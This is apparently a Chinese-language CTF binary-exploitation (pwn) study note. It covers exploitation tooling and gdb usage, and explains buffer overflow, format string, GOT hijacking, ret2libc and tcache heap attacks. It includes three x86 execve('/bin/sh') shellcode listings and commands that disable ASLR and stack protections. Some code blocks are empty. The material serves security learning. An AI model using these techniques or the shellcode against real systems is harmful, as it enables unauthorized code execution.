PWN Overview
:::spoiler TOC [TOC] :::
Tools Cheat
- Commonly Used Commands
$ file {file path} $ checksec {file path} # sudo apt-get install checksec $ objdump -M intel -d {file path} | less $ gdb {file path} # sudo apt-get install gdb $ readelf -a {file path} | less # 查看所有資訊,包含section/file-header/program headers/symbol tables/等等 $ readelf -S {file path} # 只查看sections' header $ ldd {file path} # to check what libraries the file used
- Command Used Tools / Plugin
-
gdb-peda
$ git clone https://github.com/longld/peda.git ~/peda $ echo "source ~/peda/peda.py" >> ~/.gdbinit
-
radare2
$ git clone https://github.com/radare/radare2.git $ sudo apt install build-essential # just for wsl $ sudo ./radare2/sys/install.sh
- Exploit DB - Shell Code:如果要寫shell code的話可以直接看exploit db上別人寫好的gadget,複製起來就可以用了,不過有時候也有可能會失敗,在確認其他東西都是正確的情況下,可以試看看別的,記得平台要選對
-
ROPgadget
1
2
3
4
5
6
7
8
9
10
11
12$ sudo apt install python3-pip $ sudo -H python3 -m pip install ROPgadget $ ROPgadget --help # For using $ ROPgadget --binary {executed file} | grep 'pop rax.*ret' # Or $ ROPgadget --binary {executed file} --only "pop|ret|syscall" > rop_gadget.txt $ ROPgadget --binary {executed file} --only "pop|ret|syscall" --multibr > rop_gadget.txt # multibr是multi bransh允許多分支的gadget # 取得特定string的gadget $ ROPgadget --binary {executed file} --string "/bin/sh"
-
one_gadget
1
2
3$ sudo apt install rubygems $ sudo gem install one_gadget $ one_gadget {libc file}
- seccomp-tools
1
2
3$ sudo apt install gcc ruby-dev $ gem install seccomp-tools $ seccomp-tools dump ./test
- 找glibc版本的online tool libc-database search API Search libc database search
-
gdb-peda
gdb
:::spoiler 常用語法(cheat)
- b: 設定中斷點
1
2
3# break point (gdb) b main (gdb) b *0x4896aa
- r: 執行程式 # run
$ (gdb) r
- c: 繼續執行 # continue
$ (gdb) c
- si: 步入指令 # step instruction
$(gdb) si
- ni: 步過指令 # next instruction
$ (gdb) ni
- x: 顯示記憶體內容
1
2
3
4# show the value stored in memory address (gdb) x/10gx 0x400686 # print 10 memory value from 0x400686 (gdb) x/10gi 0x400686 # print 10 instruction from 0x400686 (gdb) x/2gs 0x400686 # print 2 strings from 0x400686
- vmmap 查看address space # check memory permission and distribution
$ (gdb) vmmap
- bt {number}: 查看call stack
- b info: 查看目前設的break point
- delete breakpoints 1: 刪除一號斷點
- fin: 直接執行該function到結束
- got: 直接查看GOT
- canary: 直接查看canary存放的位置和value
heap (chunk|chunks|bins|arenas|set-arena)
- j/jump {address}: 直接jmp到指定的位置,但要注意如果該位置之後沒有其他breakpoint就會直接執行下去 # jump
$ (gdb) j 0x4896aa
- set {long}{address} = 0x61616161: 對特定的位址寫入值 # set memory / register value
$ (gdb) set $rax=0x5
- p &{symbol}: print出特定的symbol
- 如果自己寫一個script讓gdb可以自己load的話可以用:
$ gdb -x {script name} {file name}
script範例1
2
3set LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so.6 b main r
- heapinfo: 查看heap的狀態
- heapb: 就是heap base的command,告訴我們目前的base address
- .gdbinit
:::spoiler config
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25set disassembly-flavor intel define gef source ~/.gdbinit-gef.py #### gef # gef setting gef config dereference.max_recursion 2 gef config context.layout "regs code args source memory stack trace" gef config context.nb_lines_backtrace 3 gef config context.redirect /dev/pts/2 end define peda #source ~/peda/peda.py source ~/Pwngdb/pwngdb.py source ~/Pwngdb/angelheap/gdbinit.py define hook-run python import angelheap angelheap.init_angelheap() end end end
:::
pwntools
- 常用
1
2
3
4
5
6
7raw_input() p64(0x401111) p32(0x401111) r.recvline() r.recvuntil(b'test') r.recv(6) r.sendline(b'test')
- flat
1
2
3
4payload = flat( pop_eax_ret, 0, pop_ebx_ret, 0xc )
- asm:
1
2
3
4payload = asm(""" xor eax, eax xor ebx, ebx """)
- context
1
2context.arch = 'amd64' context.newline = b'\r\n' # for windows pe file
- ELF
方便查看GOT或function的address
1
2
3
4exe = ELF('./vuln') log.info("main address: " + hex(exe.symbols['main'])) log.info("pow GOT address: " + hex(exe.got['pow'])) log.info("strcspn GOT address: " + hex(exe.got['strcspn']))
- shellcraft pwntools中內建的一些assembly shell code
Other
- objdump
$ objdump -M intel -d $binary | less
- 如果要寫shell code的話可以直接看exploit db上別人寫好的gadget,複製起來就可以用了,不過有時候也有可能會失敗,在確認其他東西都是正確的情況下,可以試看看別的,記得平台要選對 Exploit DB - Shell Code
- Linux System Call Table
- Linux System Call Table for x86 64
寫/bin/sh\x00的方法
-
Shellcode Cheat Sheet
- 如果是x86版本 建議直接寫在stack上,因為比較少int 0x80 ; ret的gadget可以用,那倒不如直接寫在script上然後計算esp或ebp的位置,一樣可以拿到儲存的位置
- 如果是x64版本 建議可以用system read的方式搭配syscall ret的ROP
- 如果是直接執行shell code
且shell code是可以直接讓我們輸入的話就直接參考exploit db的就好了
:::spoiler eg 1
1
2
3
4
5
6push 0x0b pop eax push 0x0068732f push 0x6e69622f mov ebx, esp int 0x80
::: :::spoiler eg 2
1
2
3
4
5
6
7
8
9
10
11mov eax, 0x6e69622f push eax mov eax, 0x0068732f push eax xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov eax, 0xb lea ebx, DWORD PTR [esp] int 0x80
::: :::spoiler eg 3 ``` /Put the syscall number of execve in eax/ xor eax, eax mov al, 0xb
/Put zero in ecx and edx/ xor ecx, ecx xor edx, edx
/Push “/sh\x00” on the stack/ xor ebx, ebx mov bl, 0x68 shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx mov bh, 0x73 mov bl, 0x2f push ebx nop
/Push “/bin” on the stack/ mov bh, 0x6e mov bl, 0x69 shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx shl ebx mov bh, 0x62 mov bl, 0x2f push ebx nop
/Move the esp (that points to “/bin/sh\x00”) in ebx/ mov ebx, esp/Syscall/ int 0x80 ``` :::
如何讓環境執行在指定的libc和loader中
如果不想要費事裝VM或wsl就可以直接用@ccccc提供的腳本,讓這支程式跑在和server一樣的環境,==所以要把對應環境的loader和libc載下來==,用法如下:
1 |
|
他會產生一個新的執行檔,名字是V
,在pwntools寫的腳本也要改,用法如下
1 |
|
:::spoiler Script
1 |
|
:::
- How to download libc file & loader Ubuntu Packages Search libc6_2.31-0ubuntu9_amd64.deb
Stack Vulnerabilities
checksec
- No RELRO or Partial RELRO $\to$ ==GOT Hijacking(改寫GOT)==
:::spoiler
❖ No RELRO - link map和GOT都可寫(有lazy binding)
❖ Partial RELRO - link map不可寫,GOT可寫(有lazy binding)
❖ Full RELRO - link map和GOT都不可寫(事先把library的位置都先resolve完並寫在GOT上,再把GOT權限關掉,比較花時間但安全)
關閉指令:
-z norelro
::: - Position Independent Executable(PIE) $\to$ ==BOF(ret2 series)==
:::spoiler
❖ 開啟時,data 段以及 code 段位址隨機化
❖ 關閉時,data 段以及 code 段位址固定
關閉指令:
-no-pie
::: - NX (No eXecute, Data Execution Prevention, DEP) off $\to$ 基本上不能直接執行shellcode,但可以用==ROP==繞過
:::spoiler
❖ 可寫得不可執⾏,可執⾏的不可寫
關閉指令:
-zexecstack
::: - ASLR (Address Space Layout Randomization)
:::spoiler
❖ 記憶體位址隨機變化
❖ 每次執⾏時,stack、heap、library 位置都不⼀樣
關閉指令:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
打開指令:sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
::: - Stack Canary
關閉指令:
-fno-stack-protector
Bof Series
- Overwrite sensitive data
- Overwrite return address ->
- Statically Link Binary: 可以直接試看看ROP chain(從binary本身找gadget)
- Dynamically Link Binary: 看有沒有辦法leak出libc base address,再用ROP chain(從libc中找gadget)
- Canary
- Leak canary
- 如果BoF的長度不夠的話,可以考慮用stack pivot的方式再搭配ROP chain: 範例可以參考Lab - Stack Pivot
Format String Bug
- 之前的Demo是利用format string達到==GOT hijack==
- 用法:
- %p - leak code / libc / stack address
-
%{任意值}c%k$(hhn hn n) - 寫任意值到第 k 個參數指向的位址 - %Xc - 印出 X 個字元
- k$ - 指定第 k 個參數
-
%(hhn hn n) - 將輸出的字元數以 1 / 2 / 4 bytes 寫到參數指向的位址 - 若該值為 addr 可透過 %s 輸出該地址的 value
- Note:
- 因為能控制寫入的⼤⼩與位址,因此也可以配合 partial overwrite 做 exploit
- 基本上不太會⽤ %k$n 此 format,因為⼀次寫入 4 bytes 會太多
GOT Series
- GOT hijacking
- Ret2plt - 控制執⾏流程到 function@plt,也代表執⾏該 function (以 functionA 代稱),詳細可以看0x32 Ret2Plt
- Leak libc - functionA 在被解析後,GOT 會存放 functionA 的絕對位址,因此如果可以讀取 GOT,就能得到位於 library 當中的 address
- FunctionA 的絕對位址減去他在 library 當中的 offset,能得到 library base address,繞過 ASLR
- Ret2libc - 有了 library base address,也能加上其他 function 的 offset 來取得該
- function 在 library 中的位址 (以 functionB 代稱)藉由控制程式流程,讓程式跳到 functionB 上,意即執⾏此 functionB
Return 2 Series
- Return 2 Code 這是代表原本的source code就已經有寫好一個shell,只要改變RIP就可以跳過去 必要條件:PIE Off
- Return 2 Shell Code
代表我們要自己寫一個shell code在記憶體中,然後用RIP跳過去
必要條件:NX Off(要完全可讀可寫可執行)
作法就是先找到一塊rwx全開的地方,然後想辦法把shell code寫上去,接著控制RIP跳到該段拿到shell
- 變形:就像1和[^ntucs_pwn_rop++]一樣
可以先找到.bss section,然後開__libc_read function寫入
/bin/sh\x00
,之後再return到shell code的地方
- 變形:就像1和[^ntucs_pwn_rop++]一樣
可以先找到.bss section,然後開__libc_read function寫入
- Return 2 libc
Heap Vulnerabilities
Background
:::spoiler 解題關鍵
:::
Double Free
Used After Free
Tcache poisoning
使⽤ double free 讓 tcache 當中存在兩個相同的 chunk,並利⽤修改 fd的⽅式,將對應位址視為 chunk 分配給 user
- Tcache 拿 chunk 時並不會檢查 chunk size 是否合法,因此常會拿 __free_hook 寫 system
- Protection 1 - 當釋放 chunk 時,如果 chunk + 8 (key) 位置的值與當前 heap 的&tcache_struct 相等,則會遍歷所有 entry,檢查是否有相同的 chunk,確保沒有double free 的發⽣
- Protection 2 - 當取出 chunk 時,會檢查對應⼤⼩的 counter 是否⼤於 0,如果是的話才會取出 tcache_struct 當中指向的第⼀塊 chunk
- Bypass Protection 1 - 透過 UAF 或是 heap overflow,修改 chunk 的 key 欄位
- Bypass Protection 2
- 拿到 tcache_struct 的 chunk 後修改 counts 欄位成非 0 的值
- 多次 free 相同的 chunk
Overlapping chunks
簡單來說就是==修改chunk size==,讓 chunk 在被釋放時 trigger consolidation(當釋放記憶體時,若檢查到相鄰的 chunk 沒有被使⽤,會將其合併成⼀塊更⼤的 freed chunk),使得正在使⽤的 chunk 與已經釋放的 chunk 有部分重疊,也就代表
- 使⽤中的 chunk 可以更改 freed chunk 中的 fd、bk
- freed chunk 在被分配時,會分配到與使⽤中的 chunk 相同的區塊,可以修改敏感資料